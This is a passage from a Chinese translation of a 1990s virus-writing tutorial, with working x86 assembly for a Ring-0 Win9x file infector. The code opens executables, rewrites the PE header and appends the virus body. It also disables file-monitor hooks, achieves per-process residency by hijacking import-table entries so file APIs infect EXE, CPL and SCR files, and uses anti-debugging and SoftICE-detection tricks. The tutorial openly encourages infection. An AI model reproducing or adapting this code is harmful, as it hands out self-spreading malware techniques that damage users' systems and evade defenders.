我们在EDI里是ASCII字符串里的0值，正如你知道的，它标志着字符串的结尾，也就是在这种情况下，文件名。下 面是我们的主要检查，看看它是否是一个.EXE文件，如果它不是，跳过感染。我们还可以检查.SCR(Windows屏保)，正如你知道的，它们也是可执 行文件...这就是你的选择。下面给你一些代码：
cmp dword ptr [edi-4],"EXE." ; Look if extension is an EXE
jnz notsofunny
正如你能看到的，我比较了EDI-5次。
现在我们知道了那个文件是一个EXE文件:)所以该是移除它的属性，打开文件，修改相关域，关闭文件并恢复属性的时 候了。所有这些函数由另外一个IFS服务完成，那就是IFSMgr_Ring0_FileIO。我没有找到关于全部这个的文档，总之也没有必要，它有很多 的函数，正如我以前所说的，所有我们需要函数仅仅是为了进行文件感染。让我们VxD服务IFSMgr_Ring0_FileIO传送到EAX中的数值：
-----------------------------------------------------------------------
;函数定义在ring-0的API函数列表中：
;说明：大多数函数是上下文相关的，除非被明确的规定了，也就是说，它们不使用当前线程的上下文。;R0_LOCKFILE是唯一的例外－它总是使用当前线程的上下文。
R0_OPENCREATFILE equ 0D500h ; Open/Create a file
R0_OPENCREAT_IN_CONTEXT equ 0D501h ; Open/Create file in current contxt
R0_READFILE equ 0D600h ; Read a file, no context
R0_WRITEFILE equ 0D601h ; Write to a file, no context
R0_READFILE_IN_CONTEXT equ 0D602h ; Read a file, in thread context
R0_WRITEFILE_IN_CONTEXT equ 0D603h ; Write to a file, in thread context
R0_CLOSEFILE equ 0D700h ; Close a file
R0_GETFILESIZE equ 0D800h ; Get size of a file
R0_FINDFIRSTFILE equ 04E00h ; Do a LFN FindFirst operation
R0_FINDNEXTFILE equ 04F00h ; Do a LFN FindNext operation
R0_FINDCLOSEFILE equ 0DC00h ; Do a LFN FindClose operation
R0_FILEATTRIBUTES equ 04300h ; Get/Set Attributes of a file
R0_RENAMEFILE equ 05600h ; Rename a file
R0_DELETEFILE equ 04100h ; Delete a file
R0_LOCKFILE equ 05C00h ; Lock/Unlock a region in a file
R0_GETDISKFREESPACE equ 03600h ; Get disk free space
R0_READABSOLUTEDISK equ 0DD00h ; Absolute disk read
R0_WRITEABSOLUTEDISK equ 0DE00h ; Absolute disk write
-----------------------------------------------------------------------
迷人的函数，是吧？:)如果我们看看，它提醒了我们DOS int 21h函数。但是这个更好:)
好了，让我们保存旧的文件属性。正如你能看到的，这个函数是在我以前给你的列表中的，我们把这个参数(4300h)放到EAX中为了获得文件的属性到ECX中。所以，在那之后，我push它和文件名，它在ESI中。
lea esi,[ebx+fname] ; Pointer to file name
mov eax,R0_FILEATTRIBUTES ; EAX = 4300h
push eax ; Save it goddamit
VxDCall IFSMgr_Ring0_FileIO ; Get attributes
pop eax ; Restore 4300h from stack
jc notsofunny ; Something went wrong (?)
push esi ; Push pointer to file name
push ecx ; Push attributes
现在我们必须把它们去掉。没问题。设置文件属性的函数是，以前在IFSMgr_Ring0_FileIO中,但是现在是4301h。就像你在DOS下看到的这个值:)
inc eax ; 4300h+1=4301h :)
xor ecx,ecx ; No attributes sucker!
VxDCall IFSMgr_Ring0_FileIO ; Set new attributes (wipe'em)
jc stillnotsofunny ; Error (?!)
现在我们有一个没有属性的等着我们的文件了...我们该做什么呢？呵呵，我认为你是聪明的。让我们打开它!:)就像 所有病毒中的这个部分一样，我们不得不调用IFSMgr_Ring0_FileIO，但是现在为打开文件传送到EAX中的是D500h。
lea esi,[ebx+fname] ; Put in ESI the file name
mov eax,R0_OPENCREATFILE ; EAX = D500h
xor ecx,ecx ; ECX = 0
mov edx,ecx
inc edx ; EDX = 1
mov ebx,edx
inc ebx ; EBX = 2
VxDCall IFSMgr_Ring0_FileIO
jc stillnotsofunny ; Shit.
xchg eax,ebx ; Optimize a bit, sucka! :)
现在我们在EBX中的是打开文件的句柄，所以如果你在文件关闭之前不使用这个文件将会完美，好吗?:)现在该是你读 PE文件头并保存它(和操作它)的时候了，然后更新文件头，附加上病毒...这里我将仅仅解释怎样处理PE头的属性，因为它是这个教程的另外一部分了，而 且我不想太多重复。我打算解释如何把PE头保存到我们的缓冲区中。它相当简单:如果你还记得，PE头从偏移地址3Ch(当然是从BOF开始)开始。然后我 们必须读4字节(这个3Ch处的DWORD),并在这个偏移地址处再次读，这次，是400h字节，足够处理整个PE头了。正如你能想象的，读文件中的函数 是在很棒的IFSMgr_Ring0_FileIO中，而且你可以看到我以前给你的表中的正确号码，在R0_READFILE中。传递给这个函数的参数如 下：
EAX = R0_READFILE = D600h
EBX = File Handle
ECX = Number of bytes to read
EDX = Offset where we should read
ESI = Where will go the read bytes
call inf_delta ; 如果你还记得，我们在EBX中是delta offset
inf_delta: ; 但是打开文件之后，我们在EBX中是文件的句柄
pop ebp ; 所以我们必须重新计算它。
sub ebp,offset inf_delta ;
mov eax,R0_READFILE ; D600h
push eax ; Save it for later
mov ecx,4 ; Bytes to read, a DWORD
mov edx,03Ch ; Where read (BOF+3Ch)
lea esi,[ebp+pehead] ; There goez the PE header offzet
VxDCall IFSMgr_Ring0_FileIO ; The VxDCall itself
pop eax ; restore R0_READFILE from stack
mov edx,dword ptr [ebp+pehead] ; Where the PE header begins
lea esi,[ebp+header] ; Where write the read PE header
mov ecx,400h ; 1024 bytes, enough for all PE head.
VxDCall IFSMgr_Ring0_FileIO
现在我们通过看它的标志要看看我们刚才打开的文件是否是一个PE文件。我们在ESI中的是指向我们放置PE头的缓冲 区，所以只要把ESI中的第一个DWORD和PE,0,0作比较即可(或者简单的用WORD和PE进行比较) ;)
cmp dword ptr [esi],"EP" ; 它是PE吗?
jnz muthafucka
现在你该检查以前的感染了，如果以前已经感染过了，只要到诸如关闭文件的地方即可。正如我以前所说的，我将跳过修改 PE头的代码，因为假设你已经知道怎么做了。好了，想象一些你已经合适地修改了缓冲区里的PE头(在我的代码里，变量叫做header)。现在该是把新的 头写到PE文件里的时候了。寄存器里的值应该是和
R0_READFILE函数差不多的，我将这样写它们：
EAX = R0_WRITEFILE = D601h
EBX = File Handle
ECX = Number of bytes to write
EDX = Offset where we should write
ESI = Offset of the bytes we want to write
mov eax,R0_WRITEFILE ; D601h
mov ecx,400h ; write 1024 bytez (buffer)
mov edx,dword ptr [ebp+pehead] ; where to write (PE offset)
lea esi,[ebp+header] ; Data to write
VxDCall IFSMgr_Ring0_FileIO
我们已经写完了头。现在，我们只要添加病毒即可。我决定把它添在EOF目录中，因为我的修改PE的方式...好了， 我是用这种方法做的。但是不要担心，应用的的感染方法是很简单的，因为我假设你已经理解它是怎么工作的了。就在附加病毒主体之前，记住我们应该修正所有的 VxDCall，因为它们在调用的时候在内存中已经改变了。记住，我在这篇教程里面教给你的VxD修正过程。另外，当我们在EOF处添加的时候，我们应该 知道它占多少字节。相当简单，我们在IFSMgr_Ring0_FileIO中有一个函数(为什么不呢!)来做这个工作:R0_GETFILESIZE让 我们看看它的输入参数:
EAX = R0_GETFILESIZE = D800h
EBX = File Handle
在EAX中返回给我们的是句柄对应的文件的大小，也就是我们试图感染的文件。
call VxDFix ; Re-make all INT 20h's
mov eax,R0_GETFILESIZE ; D800h
VxDCall IFSMgr_Ring0_FileIO
; EAX = File size
mov edx,R0_WRITEFILE ; EDX = D601h
xchg eax,edx ; EAX = D601; EDX = File size
lea esi,[ebp+virus_start] ; What to write
mov ecx,virus_size ; How much bytez to write
VxDCall IFSMgr_Ring0_FileIO
只剩下一些事情去做了。只要关闭文件并恢复它的旧的属性即可。当然关闭文件的函数是我们热爱的IFSMgr_Ring0_FileIO了，现在是函数D700h。让我们看看它的输入参数:
EAX = R0_CLOSEFILE = 0D700h
EBX = File Handle
现在是它的代码:
muthafucka:
mov eax,R0_CLOSEFILE
VxDCall IFSMgr_Ring0_FileIO
好了，只剩下一件事情去做了。恢复旧的属性。
stillnotsofunny:
pop ecx ; Restore old attributos
pop esi ; Restore ptr to FileName
mov eax,4301h ; Set attributes function
VxDCall IFSMgr_Ring0_FileIO
notsofunny:
ret
终于完了! :) 另外，所有的这些"VxDCall IFSMgr_Ring0_FileIO"最好在一个子例程中，用一个简单的call来调用它：它更优化了(如果你你使用我给你的VxDCall宏)，它 更好是因为只要把一个偏移放在VxDFix的表中就可以了。
%反VxD监视代码%
~~~~~~~~~~~~~~~
我必须不能忘记发现这个的人:Super/29A。此外，我应该解释这个东西是怎么回事。它和已经见过的 InstallFileSystemApiHook服务有关，但是它没有被Micro$oft写成文档。 InstallFileSystemApiHook服务返回给我们一个有意思的结构：
EAX + 00h -> Address of previous handler
EAX + 04h -> Hook_Info structure
而且正如你所想的，最重要的是Hook_Info 结构:
00h -> 钩子处理的地址, 这个结构的第一个
04h -> 先前钩子处理的地址
08h -> 先前钩子的Hook_Info的地址
所以，我们对这个结构进行递归搜索直到找到了第一个，被监视程序使用的链的顶部...然后我们必须修改它。代码？下面给出一部分 :)
; EDI = Points to virus copy in system heap
lea ecx,[edi+New_Handler] ; Install FileSystem Hook
push ecx
@@2: VxDCall IFSMgr_InstallFileSystemApiHook
pop ecx
xchg esi,eax ; ESI = Ptr actual hook
; handler
push esi
lodsd ; add esi,4 ; ESI = Ptr to Hook Handler
tunnel: lodsd ; EAX = Previous Hook Handler
; ESI = Ptr to Hook_Info
xchg eax,esi ; Very clear :)
add esi,08h ; ESI = 3rd dword in struc:
; previous Hook_Info
js tunnel ; If ESI < 7FFFFFFF, it was
; the last one :)
; EAX = Hook_Info of the top
; chain
mov dword ptr [edi+ptr_top_chain],eax ; Save in its var in mem
pop eax ; EAX = Last hook handler
[...]
如果你不懂，不要担心，这是第一次：想象一下我读懂Sexy的代码所花的时间!好了，我们已经把链顶存在一个变量里 了。接下来的的代码片断是我们检查一个系统打开文件的请求，而且我们知道这个调用不是由我们的病毒所做的，只是在调用感染程序之前。
lea esi,dword ptr [ebx+top_chain] ; ESI = Ptr to stored variable
lodsd ; EAX = Top Chain
xor edx,edx ; EDX = 0
xchg [eax],edx ; Top Chain = NULL
; EDX = Address of Top Chain
pushad
call Infection
popad
mov [eax],edx ; Restore Top Chain
这个简单多了，啊？:)所有的概念("Hook_Info", "Top Chain", 等等)都是来自于Super，所以去惩罚一下他:)
%最后的话%
~~~~~~~~~~
我必须感谢3个在我编写第一个Ring-0的东东帮助过我的最重要的人:Super,Vecna和nIgr0(你们 是好样的!)。好了，还有其它事情要说吗？呃...耶。Ring-0是我们在Win9X下的美梦，是的。但是总是有限制。如果我们，毒客们，找到了一个在 系统中如NT或者将来的Win2000(NT5)下获取Ring-0特权的时候，就没关系了。Micro$oft将会做一个补丁或者一个 Service Pack来修复所有这些可能的bug。无论如何，编写一个Ring-0病毒总是很有趣。对我来说经历确实有意思， 并且帮助我知道了更多关于Windows内部结构的东西。系统几乎是胡乱的打开文件。只要看看其中的一个最多，最快的，传播最广的病毒是一个Ring-0 病毒，CIH。
【每一线程驻留(Per-Process residency)】
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
一个用来讨论的非常有意思的话题:Per-Process residency，对所有的Win32平台 都适用的一种方法。我已经把这一章从Ring-3那一章分离开来是因为我想它是一中进化，对于初学Ring-3来说也是稍微复杂了些。
%介绍%
~~~~~~
per-process residence首先由29A的Jacky Qwerty在 1997年编写的。此外(对媒体来说，不是真正的-Win32.Jacky)它是第一个Win32病毒，它还是第一个Win32驻留病毒，使用从没见过的 技术:per-process residence。那么你想知道"什么是per-process residence呢?"。我已 经在DDT#1的一篇文章中解释了那个了，但是这里我将对这个方法作一个更深的分析。首先，你必须知道什么是Win32，和它的PE可执行文件是怎么工作 的。当你调用一个API的时候，你将要调用一个由系统在运行期把Import Table(输入表)保存到内存的地址，这个输入表指向API在 DLL中的入口点。为了作一个per-process驻留，你将要不得不对输入表做些手脚，并修改你想要钩住并指向你自己的代码的API地址值，这个代码 能够处理指定的API，也就是说由API来处理感染文件。我知道这有一点点杂乱，但是正如在病毒代码编写的每一件事情中，开始总是看起来很难的，但是后面 就非常简单了:)
--[DDT#1.2_4]---------------------------------------------------------------
恩，这个可能是我知道的编写Win32驻留病毒的唯一的已知途径。是的，你已经看到的是Win32而不是Win9X。这是因为这 个方法还能够运行在WinNT下面。首先，你必须知道什么是一个进程。这个东西更使我奇怪的是那些开始在Windows下编程的人知道这个方法之后，并知 道这个是个什么样的方法，但是他们通常不知道这个名字。好了，当我们执行一个Windows应用程序的时候，那就是一个进程:)非常容易理解。而这个驻留 方式做了什么呢?首先我们必须开辟一块内存，为了把病毒主体放在那里，但是这个内存是从我们正在执行的自己的进程开始的。所以，我们开辟一些系统给这个进 程的内存。它将由使用API函数"VirtualAlloc"来完成。但是...怎样来钩住API呢？现在据我所知最常用的方法是改变API在输入表 (import table)中的地址。这是我的观点，唯一可行的方法。因为输入表可以被写，这就更简单了，而且我们不需要任何 VxDCALL0的函数的帮助...
但是，这种类型的驻留病毒的弱点也在这里了...正如我们在输 入表里所看到的，感染率严重依赖于我们要感染的文件。例如，如果我们感染WinNT的CMD.EXE，并且我有一个FindFirstFile(A/W) 和FindNextFile(A/W)的感染例程，使用那些API的的所有文件都被感染。这就使得我们的病毒非常具有感染性，主要是因为当我们在 WinNT下使用一个DIR命令的时候将会频繁使用。总之，如果我们不使用其它的方法来使它更具感染性的话，Per-Process方法将是非常脆弱的， 如在Win32.Cabanas中，一个运行部分中。我们使得运行期部分每次感染/WINDOWS和/WINDOWS/SYSTEM目录下的一些文件。另 外一个好的选择是，正如我在用CMD为例的例子里所说的，直接碰那些在第一次感染一个系统里的非常特别的文件...
--[DDT#1.2_4]---------------------------------------------------------------
我已经在1998年的12月份把它写出来了，虽然我发现它可以不通过开辟内存来实现，但是，我还是改了它使之更容易理解。
%输入表处理%
~~~~~~~~~~~~
下面使输入表的结构。
IMAGE_IMPORT_DESCRIPTOR
^^^^^^^^^^^^^^^^^^^^^^^
-----------------------------------<----+00000000h
| Characteristics | Size : 1 DWORD
-----------------------------------<----+00000004h
| Time Date Stamp | Size : 1 DWORD
-----------------------------------<----+00000008h
| Forwarder Chain | Size : 1 DWORD
-----------------------------------<----+0000000Ch
| Pointer to Name | Size : 1 DWORD
-----------------------------------<----+00000010h
| First Thunk | Size : 1 DWORD
-----------------------------------
现在让我们看看Matt Pietrek是怎么描述它的。
DWORD Characteristics
曾经，这个被看成一些标志。然而，微软改变了它的意思并不厌其烦地更新WINNT.H。这个域世界上是指向一个指针数组的偏移(一个RVA)。这些指针每个都指向一个IMAGE_IMPORT_BY_NAME结构。
DWORD TimeDateStamp
time/date 标志表明文件是什么时候建立的。
DWORD ForwarderChain
这个域和向前调用有关。向前调用包括在一个DLL中把它的一个函数发送引用到另外一个DLL。例如，在 Windows NT中，NTDLL.DLL看起来有一些函数向前调用KERNEL32.DLL中的一些函数。一个应用程序可能会认为它在调用 NTDLL.DLL中的一个函数，但是世界上最终调用KERNEL32.DLL中的函数。这个域包含了一个对FirstThunk数组(即将要描述)的索 引。这个由这个域索引的函数将要向前调用到另外一个DLL中。不幸的是，这种函数是怎么向前调用的格式没有文档资料，而且向前调用的函数的例子很难找。
DWORD Name
这是一个以NULL结尾的包含输入的DLL的名字ASCII字符串的RVA。一般的例子是"KERNEL32.DLL" 和 "USER32.DLL"。
PIMAGE_THUNK_DATA FirstThunk
这个域是一个指向IMAGE_THUNK_DATA单元的偏移地址(一个RVA)。在几乎每种情况下，这个单元被理 解成一个IMAGE_IMPORT_BY_NAME结构的指针。如果这个域不是这些指针的其中一个，那么它可能被认为是被输入的DLL的序数。资料中关于 你是否真的可以通过序数而不是通过名字来输入一个函数并不很确切。一个IMAGE_IMPORT_DESCRIPTOR的重要的部分是输入的DLL名字和 两个IMAGE_IMPORT_BY_NAME数组。在EXE文件中，这两个数组(指向Characteristics 和 FirstThunk域)是平行的，而且在每个数组的结尾是空指针。两个数组里的指针都指向一个IMAGE_IMPORT_BY_NAME结 构。
现在正如你所知道的Matt Pietrek(G0D)的定义，我将在这里列出从输入表里获取API地址和到API(我们将要改变的，后面关于这个更多)的偏移地址的代码。
;--------从这里开始剪切-------------------------------------------------------
;
; GetAPI_IT 函数
; ==============
; 下面的代码能够从输入表(Import Table)中获取一些信息
;
GetAPI_IT proc
;-----------------------------------------------------------------------------
; Ok, 让我们摇摇头。这个函数需要的参数和返回如下:
;
; 输入 : EDI : 指向API名字的指针 (区分大小写)
; 输出 : EAX : API地址
; EBX : API地址在输入表(import table)中地址
;-----------------------------------------------------------------------------
mov dword ptr [ebp+TempGA_IT1],edi ; Save ptr to name
mov ebx,edi
xor al,al ; Search for "/0"
scasb
jnz $-1
sub edi,ebx ; Obtain size of name
mov dword ptr [ebp+TempGA_IT2],edi ; Save size of name
;-----------------------------------------------------------------------------
;我们首先保存指向API的指针到一个临时变量中，然后我们搜索那个字符串的结尾，由
;0标记的，然后我们把EDI的新值(指向0)它的旧值，这样就得到了API名字的大小。很
;迷人，不是吗?在这之后，我们把API名字的大小保存到另外一个临时变量中。
;-----------------------------------------------------------------------------
xor eax,eax ; Make zero EAX
mov esi,dword ptr [ebp+imagebase] ; Load process imagebase
add esi,3Ch ; Pointer to offset 3Ch
lodsw ; Get process PE header
add eax,dword ptr [ebp+imagebase] ; address (normalized!)
xchg esi,eax
lodsd
cmp eax,"EP" ; Is it really a PE?
jnz nopes ; Shit!
add esi,7Ch
lodsd ; Get address
push eax
lodsd ; EAX = Size
pop esi
add esi,dword ptr [ebp+imagebase]
;-----------------------------------------------------------------------------
;我们要做的第一件事是清空EAX，因为我们不要它的MSW。然后，我们要做的是在我们
;主体的头部检查PE签名。如果所有的事情都做好了，我们得到一个指向Import Table
;section (.idata)的指针。
;-----------------------------------------------------------------------------
SearchK32:
push esi
mov esi,[esi+0Ch] ; ESI = Pointer to name
add esi,dword ptr [ebp+imagebase] ; Normalize
lea edi,[ebp+K32_DLL] ; Ptr to "KERNEL32.dll",0
mov ecx,K32_Size ; ECX = Size of above string
cld ; Clear Direction Flag
push ecx ; Save size for later
rep cmpsb ; Compare bytes
pop ecx ; Restore size
pop esi ; Restore ptr to import
jz gotcha ; If matched, jump
add esi,14h ; Get another field
jmp SearchK32 ; Loop again
;-----------------------------------------------------------------------------
;首先我们再次把ESI压栈，我们将需要它被保存，因为正如你所知道的，它是.idata节
;的开始。然后，我们在ESI中得到的是名字的ASCII字符串(指针)的RVA，然后，我们把
;它用基址把那个值标准化，
;-----------------------------------------------------------------------------
gotcha:
cmp byte ptr [esi],00h ; Is OriginalFirstThunk 0?
jz nopes ; Fuck off if it is.
mov edx,[esi+10h] ; Get FirstThunk :)
add edx,dword ptr [ebp+imagebase] ; Normalize!
lodsd
or eax,eax ; Is it 0?
jz nopes ; Shit...
xchg edx,eax ; Get pointer to it!
add edx,[ebp+imagebase]
xor ebx,ebx
;-----------------------------------------------------------------------------
; 首先，我们检查OriginalFirstThunk域是否为NULL，如果它是，我们以一个错误退出。
; 然后，我们得到FirstThunk值，并通过加上基址(imagebase)来标准化它，并检查它
; 是否是0(如果它是，我们就有一个问题了，因此我们退出)。之后，我们把那个地址
; (FirshtThunk)放到EDX中，并标准化，在EAX中我们保存的是指向FirstThunk域的
; 指针。
;-----------------------------------------------------------------------------
loopy:
cmp dword ptr [edx],00h ; Last RVA? Duh...
jz nopes
cmp byte ptr [edx+03h],80h ; Ordinal? Duh...
jz reloop
mov edi,dword ptr [ebp+TempGA_IT1] ; Get pointer to API name
mov ecx,dword ptr [ebp+TempGA_IT2] ; Get API name size
mov esi,[edx] ; We retrieve the current
add esi,dword ptr [ebp+imagebase] ; pointed imported api string
inc esi
inc esi
push ecx ; Save its size
rep cmpsb ; Compare both stringz
pop ecx ; Restore it
jz wegotit
reloop:
inc ebx ; Increase counter
add edx,4 ; Get another ptr to another
loop loopy ; imported API and loop
;-----------------------------------------------------------------------------
; 首先，我们检查是否在数组(以null字符标记)的最后，如果是，我们离开。然后，我们
; 检查它是是否是一个序数，如果是，我们得到另外一个。接下来是有趣的东东:我们把
; 我们以前保存的指向要搜索的API名字的指针保存到EDI中，在ECX中是那个字符串的长
; 度，并把指向输入表中的当前的API的指针保存到ESI中。我们对这两个字符串进行比较
; 如果它们不相等，我们重新得到另外一个，直到我们找到了它或者我们到达输入表的
; 最后一个API。
;-----------------------------------------------------------------------------
wegotit:
shl ebx,2 ; Multiply per 4 (dword size)
add ebx,eax ; Add to FirstThunk value
mov eax,[ebx] ; EAX = API address ;)
test al,0 ; This is for avoid a jump,
org $-1 ; thus optimizing a little :)
nopes:
stc ; Error!
ret
;-----------------------------------------------------------------------------
; 非常简单：因为我们在EBX中的是计数，而且数组是一个DWORD数组，我们把它乘以4
; (为了得到和标志API地址的FirstThunk相关的偏移)，然后我们在EBX中的是指向想要得到
; 的API在输入表中的地址的指针。非常完美:)
;-----------------------------------------------------------------------------
GetAPI_IT endp
;-------到这里为止剪切---------------------------------------------------------
OK，现在我们知道怎么样来玩输入表。但是我们需要更多的东西!
%运行期获取基址(imagebase)%
~~~~~~~~~~~~~~~~~~~~~~~~~~~
一个最普遍的错误是认为imagebase总是一个常量，或者它将总是为400000h。但是这和事实相去甚远。无论你在文件头里得到的是什么
imagebase，它可以被系统在运行期很容易地改变，所以我们将要访问一个不正确地地址，而且我们将会得到无法预料地回应。而获取它地方法是非常简单地。简单地使用通常的delta-offset例程。
virus_start:
call tier ; Push in ESP return address
tier: pop ebp ; Get that ret address
sub ebp,offset realcode ; And sub initial offset
OK?举个例子，让我们想象一下执行从401000h开始(几乎所有的由TLINK链接的文件)。所以，当我们使用了POP，我们将在EBP中得到诸如
00401005的结果。所以把它减去tier-virus_start，并减去当前的EIP(也就是说在所有的TLINK连接的文件中为1000h)？是的你得到了imagebase!所以将会如下：
virus_start:
call tier ; Push in ESP return address
tier: pop ebp ; Get that ret address
mov eax,ebp
sub ebp,offset realcode ; And sub initial offset
sub eax,00001000h ; Sub current EIP (should be
NewEIP equ $-4 ; patched at infection time)
sub eax,(tier-virus_start) ; Sub some shit :)
不要忘记在感染期修复NewEIP变量(如果你修改了EIP)，所以它总是和PE文件头偏移28h处的值相等，也就是程序的EIP的RVA:)
[ 我的API钩子 ]
下面是我的GetAPI_IT例程的普查。这个基于如下的一个结构:
db ASCIIz_API_Name
dd offset (API_Handler)
例如：
db "CreateFileA",0
dd offset HookCreateFileA
而HookCreateFileA是一个处理钩住了的函数的例程。我使用这个结构的代码如下：
;---------从这里开始剪切-------------------------------------------------------------
HookAllAPIs:
lea edi,[ebp+@@Hookz] ; Ptr to the first API
nxtapi:
push edi ; Save the pointer
call GetAPI_IT ; Get it from Import Table
pop edi ; Restore the pointer
jc Next_IT_Struc_ ; Fail? Damn...
; EAX = API Address
; EBX = Pointer to API Address
; in the import table
xor al,al ; Reach the end of API string
scasb
jnz $-1
mov eax,[edi] ; Get handler offset
add eax,ebp ; Adjust with delta offset
mov [ebx],eax ; And put it in the import!
Next_IT_Struc:
add edi,4 ; Get next structure item :)
cmp byte ptr [edi],"" ; Reach the last api? Grrr...
jz AllHooked ; We hooked all, pal
jmp nxtapi ; Loop again
AllHooked:
ret
Next_IT_Struc_:
xor al,al ; Get the end of string
scasb
jnz $-1
jmp Next_IT_Struc ; And come back :)
@@Hookz label byte
db "MoveFileA",0 ; Some example hooks
dd (offset HookMoveFileA)
db "CopyFileA",0
dd (offset HookCopyFileA)
db "DeleteFileA",0
dd (offset HookDeleteFileA)
db "CreateFileA",0
dd (offset HookCreateFileA)
db "" ; End of array :)
;---------到这里为止剪切-------------------------------------------------------------
我希望它是高度清楚:)
%一般的钩子%
~~~~~~~~~~~~~
如果你发现了，有一些API，它的参数中，最后压栈的参数是一个指向一个存档(可以为一个可执行文件)的指针，所以 我们可以hook它们并应用一个普通的处理首先来检测它的的扩展名，所以如果它是一个可执行文件，我们可以没有问题地感染它了:)
;---------从这里开始剪切-------------------------------------------------------------
; Some variated hooks :)
HookMoveFileA:
call DoHookStuff ; Handle this call
jmp [eax+_MoveFileA] ; Pass control 2 original API
HookCopyFileA:
call DoHookStuff ; Handle this call
jmp [eax+_CopyFileA] ; Pass control 2 original API
HookDeleteFileA:
call DoHookStuff ; Handle this call
jmp [eax+_DeleteFileA] ; Pass control 2 original API
HookCreateFileA:
call DoHookStuff ; Handle this call
jmp [eax+_CreateFileA] ; Pass control 2 original API
; The generic hooker!!
DoHookStuff:
pushad ; Push all registers
pushfd ; Push all flags
call GetDeltaOffset ; Get delta offset in EBP
mov edx,[esp+2Ch] ; Get filename to infect
mov esi,edx ; ESI = EDX = file to check
reach_dot:
lodsb ; Get character
or al,al ; Find NULL? Shit...
jz ErrorDoHookStuff ; Go away then
cmp al,"." ; Dot found? Interesting...
jnz reach_dot ; If not, loop again
dec esi ; Fix it
lodsd ; Put extension in EAX
or eax,20202020h ; Make string lowercase
cmp eax,"exe." ; Is it an EXE? Infect!!!
jz InfectWithHookStuff
cmp eax,"lpc." ; Is it a CPL? Infect!!!
jz InfectWithHookStuff
cmp eax,"rcs." ; Is is a SCR? Infect!!!
jnz ErrorDoHookStuff
InfectWithHookStuff:
xchg edi,edx ; EDI = Filename to infect
call InfectEDI ; Infect file!! ;)
ErrorDoHookStuff:
popfd ; Preserve all as if nothing
popad ; happened :)
push ebp
call GetDeltaOffset ; Get delta offset
xchg eax,ebp ; Put delta offset in EAX
pop ebp
ret
;---------到这里为止剪切-------------------------------------------------------------
一些可以用这个一般的例程来hook的API如下：
MoveFileA, CopyFileA, GetFullPathNameA, DeleteFileA, WinExec, CreateFileA
CreateProcessA, GetFileAttributesA, SetFileAttributesA, _lopen, MoveFileExA
CopyFileExA, OpenFile。
%最后的话%
~~~~~~~~~~
如果还有什么不清楚的地方，发email给我。我将尽可能地用一个简单的per-process驻留的病毒来阐述 它，但是我编写的唯一一个per-process病毒太复杂了，而且比这有更多的特色，所以对你来说还是看不明白:)
【Win32 反调试】
~~~~~~~~~~~~~~~
下面我将给出一些花招用来保护你的病毒或者程序不被调试(所有级别的，应用级和系统级)。我希望你将喜欢它。
% Win98/NT: 用 IsDebuggerPresent检测应用级调试器 %
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
这个API函数在Win95中没有，所以你不得不自己检测它的存在，并和应用级调试器(如TD32)一起工作。而且它工作得很好。让我们看看在Win32 API参考列表里面是怎么写的。
--------------------------------------------
IsDebuggerPresent函数表明调用的进程是否是在一个调试器下运行。这个函数从KERNEL32.DLL中导出。
BOOL IsDebuggerPresent(VOID)
参数
====
这个函数没有参数。
返回值
======
-如果当前进程是在一个调试器下运行，返回值是非0值。
-如果当前进程不在调试器下运行，返回值是0。
--------------------------------------------
所以演示这个的例子很简单。下面就是。
;--------从这儿开始剪切------------------------------------------------------
.586p
.model flat
extrn GetProcAddress:PROC
extrn GetModuleHandleA:PROC
extrn MessageBoxA:PROC
extrn ExitProcess:PROC
.data
szTitle db "IsDebuggerPresent Demonstration",0
msg1 db "Application Level Debugger Found",0
msg2 db "Application Level Debugger NOT Found",0
msg3 db "Error: Couldn't get IsDebuggerPresent.",10
db "We're probably under Win95",0
@IsDebuggerPresent db "IsDebuggerPresent",0
K32 db "KERNEL32",0
.code
antidebug1:
push offset K32 ; Obtain KERNEL32 base address
call GetModuleHandleA
or eax,eax ; Check for fails
jz error
push offset @IsDebuggerPresent ; Now search for the existence
push eax ; of IsDebuggerPresent. If
call GetProcAddress ; GetProcAddress returns an
or eax,eax ; error, we assume we're in
jz error ; Win95
call eax ; Call IsDebuggerPresent
or eax,eax ; If it's not 0, we're being
jnz debugger_found ; debugged
debugger_not_found:
push 0 ; Show "Debugger not found"
push offset szTitle
push offset msg2
push 0
call MessageBoxA
jmp exit
error:
push 00001010h ; Show "Error! We're in Win95"
push offset szTitle
push offset msg3
push 0
call MessageBoxA
jmp exit
debugger_found:
push 00001010h ; Show "Debugger found!"
push offset szTitle
push offset msg1
push 0
call MessageBoxA
exit:
push 00000000h ; Exit program
call ExitProcess
end antidebug1
;--------到这儿为止剪切------------------------------------------------------
很美妙吧?Micro$oft为我们做了这个工作:)但是，毫无疑问，不要期望这个方法对SoftICE有效，上帝;)
%Win32:知道我们是否被一个调试器调试的另外一个方法%
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
如果你看了由Murkry/iKX写的在Xine-3中发表的"Win95 Structures and Secrets"这篇文章的话，你将意识到在FS寄存器中有一个非常酷的结构。看看FS:[20h] 域...它是'DebugContext'。只要这么做:
mov ecx,fs:[20h]
jecxz not_being_debugger
[...] <--- do whatever, we're being debugged :)
所以，如果FS:[20h]是0，我们就没有被调试。只要享受这个小而简单的方法来检测调试器!当然了，这个不能对SoftICE有效...
%Win32:用SEH来停止应用级调试器%
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
我仍然还不知道为什么，但是如果程序简单地使用了SEH，应用级调试器就死了。而且如果我们制造错误，代码模拟器也 死了:)SEH，正如我在我的发表在DDT#1中的一篇文章所说的，可以用来达到很多有意思的目的。你可以看看“高级Win32技术” (Advanced Win32 techniques)这一章的SEH部分。
你所必须做的是使SEH handler指向你想继续执行代码的地方，而当SEH handler被安装了，你激活了一个标志(一个好的选择是在00000000h内存地址试图做些事情);)
我希望你看懂了这个。如果没有...恩，忘记它:)而且，正如以前其它的方法一样，这个对SoftICE没有用。
%Win9X:检测SoftICE (I) %
~~~~~~~~~~~~~~~~~~~~~~~~
这里，我必须向Super/29A致敬，因为他是告诉我这个方法的人。我把这个分成两个部分:在这个部分中，我们将 看到从一个Ring-0病毒的角度该怎么做。我不会给出整个例子程序，因为它将占一些不必要的行，但是你必须知道这个方法必须是在Ring-0下执行，而 且因为Call-back问题(你还记得吗？)，VxDCall必须重建。
我们将使用 Virtual Machine Manager (VMM) 的Get_DDB服务，所以这个服务将为 00010146h (VMM_Get_DDB)。让我们看看SDK中关于这个服务的信息。
